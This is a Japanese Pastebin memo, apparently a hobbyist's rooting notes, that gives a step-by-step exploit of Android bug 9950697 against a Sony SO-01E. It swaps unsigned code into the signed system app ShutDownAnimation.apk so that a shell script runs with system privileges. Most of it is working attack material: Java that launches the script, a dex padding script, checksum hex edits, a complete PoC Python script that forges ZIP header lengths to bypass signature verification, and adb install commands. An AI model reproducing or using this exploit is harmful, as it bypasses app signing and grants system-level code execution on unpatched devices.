Advertisement
Wirbelwind_IF

備忘録)bug 9950697を使ったapk改変メモ

Nov 13th, 2013
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.10 KB | None | 0 0
  1. ■当方の検証環境
  2. Windows 7
  3. SO-01E
  4.  
  5. ■apkの条件
  6. ・uid=1000で動くアプリであること
  7.  service call package 24 i32 1000
  8.  を端末のシェルで実行すると、(見づらいが)uid=1000で動くアプリのパッケージ名が列挙される
  9. ・通常のAndroidの動作を邪魔しない、およびアプリデータが初期化されても問題無いものであること
  10.  後始末でアップデートの削除をする時に、どうしてもアプリのデータが初期化されてしまうようです
  11. ・deodexなapk(対になるodexファイルが無く、apkにclasses.dexが埋め込まれているタイプ)であること
  12.  コードを改変しなくても操作する手法はありますが、面倒です
  13.  ここでは触れませんが、JDKに含まれるjdbを使って起動中の改変アプリを操作する感じです
  14. ・中に含まれるclasses.dexのサイズが64kBであること
  15.  
  16. ■手順
  17. 1.ターゲットとなるapkをゲット
  18.  今回はShutDownAnimation.apk(com.sonyericsson.shutdownanim)を材料にします
  19.  classes.dexのサイズも10kBと手頃です
  20.  
  21. 2.apktool等でShutDownAnimation.apkを展開
  22.  
  23. 3.AndroidManifest.xmlの改変
  24.  <manifest><application>タグが残っていればあとは割と自由です
  25.  ただ改変の機構上、ファイルサイズがオリジナルより小さくなければなりません
  26.  <application>の内側に<activity>が1個だけある状態で十分でしょう
  27.  
  28.  まず、<manifest>の属性にandroid:sharedUserId="android.uid.system"があることを確認、これでuid=1000で動きます
  29.  android:versionCodeは変えなくてもイケると思いますが、心配であれば数値を1増やしておきます
  30.  android:versionNameもそのままでいいですが、ここを変えておくと端末の設定→アプリで表示されるので、検証時に改変状態であることが分かりやすくなります
  31.  その他の<manifest><application>の属性はそのままでいいでしょう
  32.  私は以下のようにしました
  33.  
  34. ●---------- AndroidManifest.xml ----------
  35. <?xml version="1.0" encoding="utf-8"?>
  36. <manifest android:sharedUserId="android.uid.system" android:versionCode="2" android:versionName="1.0mod" package="com.sonyericsson.shutdownanim"
  37. xmlns:android="http://schemas.android.com/apk/res/android">
  38. <application android:label="@string/app_name">
  39. <activity android:theme="@*android:style/Theme.Translucent.NoTitleBar" android:name=".MainActivity">
  40. <intent-filter>
  41. <action android:name="android.intent.action.MAIN" />
  42. </intent-filter>
  43. </activity>
  44. </application>
  45. </manifest>
  46. --------------------●
  47.  
  48. ShutDownAnimation.apkには実は元々<activity>タグはありませんでしたが、大胆に変えています
  49. android:theme=~は、アプリを起動しても背景が透明になります(ホーム画面が透けて見えますが、上にアプリが乗っかってるのでホームの操作は出来ません)
  50. MainActivityクラスも元々存在しませんが、のちにコードを書きます
  51. アプリ一覧に出てくる必要も無いので、<intent-filter>もこれだけで良いでしょう
  52.  
  53. 4.コードの改変
  54. 改変というか、ほとんど入れ替えです
  55. smali/com/sonyericsson/shutdownanimフォルダにいろいろsmaliファイルが入ってますが、全部削除します
  56. その代わりに、MainActivity.smaliを自作して配置します
  57. smaliが直接コーディング出来る人は、テキストで直書きしても良いでしょう
  58. 私はeclipseで適当なアプリを作ってJavaでコーディングしてコンパイル→apktoolで展開→MainActivity.smaliを取り出して(コードのクラスのパス等は修正して)利用、ということをしました
  59. (smali内のLcom/hoge/fuga/MainActivity;をLcom/sonyericsson/shutdownanim/MainActivity;にすればいいですね)
  60. 内容としては、onCreateにコマンドを実行するコードを書くだけですね
  61.  
  62. ●---------- MainActivity.java ----------
  63. package com.hoge.fuga;
  64.  
  65. import java.io.IOException;
  66.  
  67. import android.os.Bundle;
  68. import android.app.Activity;
  69. import android.view.Menu;
  70.  
  71. public class MainActivity extends Activity {
  72.  
  73. @Override
  74. protected void onCreate(Bundle savedInstanceState) {
  75. super.onCreate(savedInstanceState);
  76. execSystem();
  77. }
  78.  
  79. private void execSystem() {
  80. String[] command = {"/system/bin/sh", "-c", "/data/local/tmp/systemexec.sh"};
  81. ProcessBuilder pb = new ProcessBuilder(command);
  82. try {
  83. pb.start();
  84. } catch (IOException e) {
  85. // TODO 自動生成された catch ブロック
  86. e.printStackTrace();
  87. }
  88. }
  89. }
  90. --------------------●
  91.  
  92. 上記例では、アプリが起動するとsystem権限で/data/local/tmp/systemexec.shが実行されることになります
  93.  
  94. 5.apktool等でコンパイル・改変ファイルを取り出す
  95. コンパイル後のShutDownAnimation.apkはそのまま使うわけではありません
  96. 7zip等で、apkの中に入ってるAndroidManifest.xml(改)とclasses.dex(改)を取り出します
  97.  
  98. 6.classes.dex(改)をいじる
  99. まず、classes.dex(改)のサイズを、オリジナルのclasses.dexに合わせます
  100. (改)はオリジナルより小さくなってるはずなので、足りない分、末尾にヌル文字を追加します
  101. pythonスクリプトだと以下のような感じです
  102.  
  103. ●---------- padding.py ----------
  104. file_old = open('classes.dex', 'rb')
  105. old = file_old.read()
  106. file_old.close()
  107.  
  108. file_new = open('classes.dex', 'wb')
  109. file_new.write(old)
  110. file_new.write('\0' * (10224 - len(old)))
  111. file_new.close()
  112. --------------------●
  113.  
  114. 10224というところは、オリジナルのclasses.dexのサイズに読み替えてください
  115.  
  116. さて、classes.dexにはサイズ情報とチェックサムが埋め込まれているので、バイナリエディタで修正します
  117. まずサイズですが、これはclasses.dexの0x20バイト目から多分4バイト分です
  118. オリジナルのclasses.dexのサイズが10224とすると、16進数で0x27F0になります
  119. リトルエンディアンで逆になるので、classes.dexの0x20を0xF0、0x21を0x27にします
  120.  
  121. ADDRESS 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
  122. ---------------------------------------------------------
  123. 00000020 F0 27 00 00 ~
  124.  
  125. 上記改変により、チェックサムも変わってきます
  126. チェックサムはclasses.dexの0x08バイト目から4バイトが相当します
  127. 何のチェックサムかというと、classes.dexの0x0Cバイト目~末尾までに対するadler32という形式のものになります
  128. まず、classes.dexの冒頭12バイトを削り、classes.rawか何かに名前を変えて保存します
  129. そしてそのclasses.rawに対してadler32を算出します
  130. 私は手っ取り早く、オンラインでファイルをアップロードしadler32を算出してくれるサイトを利用しました
  131.  
  132. http://www.fileformat.info/tool/hash.htm
  133.  
  134. その結果、チェックサムは7f34ab0bと判明
  135. ということで、classes.dexの0x08~0x0bにこれを(リトルエンディアン、つまり逆で)書き込みます
  136.  
  137. ADDRESS 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
  138. ---------------------------------------------------------
  139. 00000000 ~ 0B AB 34 7F ~
  140.  
  141. 上記作業で出来たものをclasses.dex(改2)とします
  142. classes.dexいじりは以上です
  143.  
  144. 7.改変apkを生成
  145. オリジナルのShutDownAnimation.apk
  146. AndroidManifest.xml(改)
  147. classes.dex(改2)
  148. 以上を材料に、mod_ShutDownAnimation.apkを生成します
  149.  
  150. ●---------- poc_apkmod.py ----------
  151. import zipfile
  152. import struct
  153. import sys
  154.  
  155. # usage: ./poc_apkmod.py new.apk old.apk
  156. zout = zipfile.ZipFile(sys.argv[1], 'w')
  157. zin = zipfile.ZipFile(sys.argv[2], 'r')
  158. replace1 = 'AndroidManifest.xml'
  159. new1 = open('AndroidManifest.xml', 'rb').read()
  160. replace2 = 'classes.dex'
  161. new2 = open('classes.dex', 'rb').read()
  162.  
  163. fp = zout.fp
  164.  
  165. for name in zin.namelist():
  166. old = zin.read(name)
  167. if name == 'resources.arsc':
  168. zout.writestr(name, old, zipfile.ZIP_STORED)
  169. elif name.endswith('.png'):
  170. zout.writestr(name, old, zipfile.ZIP_STORED)
  171. elif name == replace1:
  172. assert len(new1) <= len(old)
  173.  
  174. # write header, old data, and record offset
  175. zout.writestr(name, old, zipfile.ZIP_STORED)
  176. offset = fp.tell()
  177.  
  178. # return to name length, set to skip old data
  179. fp.seek(-len(old) -len(name) -4, 1)
  180. fp.write(struct.pack('<H', len(name) + len(old)))
  181.  
  182. # after old data, write new data \0 padded
  183. fp.seek(offset)
  184. fp.write(new1)
  185. fp.write('\0' * (len(old) - len(new1)))
  186. elif name == replace2:
  187. assert len(new2) <= len(old)
  188.  
  189. # write header, old data, and record offset
  190. zout.writestr(name, old, zipfile.ZIP_STORED)
  191. offset = fp.tell()
  192.  
  193. # return to name length, set to skip old data
  194. fp.seek(-len(old) -len(name) -4, 1)
  195. fp.write(struct.pack('<H', len(name) + len(old)))
  196.  
  197. # after old data, write new data
  198. fp.seek(offset)
  199. fp.write(new2)
  200. else:
  201. zout.writestr(name, old, zipfile.ZIP_DEFLATED)
  202.  
  203. zout.close()
  204. zin.close()
  205. --------------------●
  206.  
  207. 材料たちを同じフォルダに突っ込み、上記pythonスクリプトを以下のコマンドラインで実行してください
  208.  
  209. test.py mod_ShutDownAnimation.apk ShutDownAnimation.apk
  210.  
  211. 成功すれば、同じフォルダにmod_ShutDownAnimation.apkが出来ます
  212.  
  213. 8.あとは煮るなり焼くなり
  214. ・改変アプリのインストール(アップデート)
  215. adb install -r mod_ShutDownAnimation.apk
  216.  
  217. ・改変アプリのMainActivity起動
  218. adb shell am start -a android.intent.action.MAIN -n com.sonyericsson.shutdownanim/.MainActivity
  219.  
  220. ・改変アプリのアンインストール(アップデート削除)
  221. adb shell pm uninstall -k com.sonyericsson.shutdownanim
  222. アップデート削除だからか、-kオプションを付けてもデータが削除されるようですが、念の為付けてます
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement